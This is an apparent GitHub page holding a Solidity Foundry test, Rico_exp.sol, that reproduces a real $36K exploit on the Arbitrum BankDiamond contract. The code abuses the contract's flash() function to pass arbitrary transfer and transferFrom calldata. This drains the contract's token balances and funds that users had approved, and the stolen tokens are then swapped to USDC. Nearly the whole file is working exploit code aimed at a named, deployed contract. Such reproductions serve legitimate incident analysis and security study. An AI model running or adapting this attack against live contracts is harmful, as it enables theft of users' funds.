-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Rico_exp.sol
118 lines (98 loc) · 4.48 KB
/
Rico_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : 36K
// Attacker : https://arbiscan.io/address/0xc91cb089084f0126458a1938b794aa73b9f9189d
// Attack Contract : https://arbiscan.io/address/0x68d843d31de072390d41bff30b0076bef0482d8f
// Vulnerable Contract : https://arbiscan.io/address/0x598c6c1cd9459f882530fc9d7da438cb74c6cb3b
// Attack Tx : https://arbiscan.io/tx/0x5d2a94785d95a740ec5f778e79ff014c880bcefec70d1a7c2440e611f84713d6
// @Info
// Vulnerable Contract Code : https://arbiscan.io/address/0x598c6c1cd9459f882530fc9d7da438cb74c6cb3b#code
// @Analysis
// Post-mortem :
// Twitter Guy : https://twitter.com/0xlouistsai/status/1781845191047164016
// Hacking God :
interface IBankDiamond {
function flash(address, bytes calldata) external returns (bytes memory result);
}
contract Rico is Test {
uint256 blocknumToForkFrom = 202_973_712;
address constant BankDiamond = 0x598C6c1cd9459F882530FC9D7dA438CB74C6CB3b;
address constant UniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
address constant USDC_TOKEN = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
address constant ARB_TOKEN = 0x912CE59144191C1204E64559FE8253a0e49E6548;
address constant LINK_TOKEN = 0xf97f4df75117a78c1A5a0DBb814Af92458539FB4;
address constant WSTETH_TOKEN = 0x5979D7b546E38E414F7E9822514be443A4800529;
address constant WETH_TOKEN = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;
address constant ARB_USDC_TOEKN = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;
function setUp() public {
vm.createSelectFork("arbitrum", blocknumToForkFrom);
}
function testExploit() public {
emit log_named_decimal_uint(
"Attacker USDC Balance Before exploit", IERC20(USDC_TOKEN).balanceOf(address(this)), 6
);
// Transfer tokens from BankDiamond to the attacker
transferTokens(USDC_TOKEN);
transferTokens(ARB_TOKEN);
transferTokens(LINK_TOKEN);
transferTokens(WSTETH_TOKEN);
transferTokens(WETH_TOKEN);
transferTokens(ARB_USDC_TOEKN);
// TransferFrom tokens from owners to the attacker
transferFromOwner(0x512E07A093aAA20Ba288392EaDF03838C7a4e522, USDC_TOKEN);
transferFromOwner(0x83eCCb05386B2d10D05e1BaEa8aC89b5B7EA8290, USDC_TOKEN);
transferFromOwner(0x7b782A4D552a8ceB3924005a786a1a358BA63f71, WSTETH_TOKEN);
// Swap tokens to USDC using UniV3Router
swapTokens(ARB_TOKEN);
swapTokens(LINK_TOKEN);
swapTokens(WSTETH_TOKEN);
swapTokens(WETH_TOKEN);
swapTokens(ARB_USDC_TOEKN);
// Log balances after exploit
emit log_named_decimal_uint(
"Attacker USDC Balance After exploit", IERC20(USDC_TOKEN).balanceOf(address(this)), 6
);
}
function _getTransferData(
address token
) internal view returns (bytes memory data) {
uint256 tokenBalance = IERC20(token).balanceOf(BankDiamond);
data = abi.encodeWithSelector(IERC20.transfer.selector, address(this), tokenBalance);
}
function _getTransferFromData(address token, address user) internal view returns (bytes memory data) {
uint256 tokenBalance = IERC20(token).balanceOf(BankDiamond);
uint256 tokenAllowance = IERC20(token).allowance(user, BankDiamond);
if (tokenBalance >= tokenAllowance) {
data = abi.encodeWithSelector(IERC20.transferFrom.selector, user, address(this), tokenBalance);
}
}
function transferTokens(
address token
) internal {
IBankDiamond(BankDiamond).flash(token, _getTransferData(token));
}
function transferFromOwner(address owner, address token) internal {
bytes memory callData = _getTransferFromData(token, owner);
if (callData.length > 0) {
IBankDiamond(BankDiamond).flash(token, callData);
}
}
function swapTokens(
address token
) internal {
uint256 tokenBalance = IERC20(token).balanceOf(address(this));
IERC20(token).approve(UniV3Router, tokenBalance);
Uni_Router_V3.ExactInputSingleParams memory params;
params.tokenIn = token;
params.tokenOut = USDC_TOKEN;
params.fee = 3000;
params.recipient = address(this);
params.deadline = block.timestamp;
params.amountIn = tokenBalance;
params.amountOutMinimum = 0;
params.sqrtPriceLimitX96 = 0;
Uni_Router_V3(UniV3Router).exactInputSingle(params);
}
}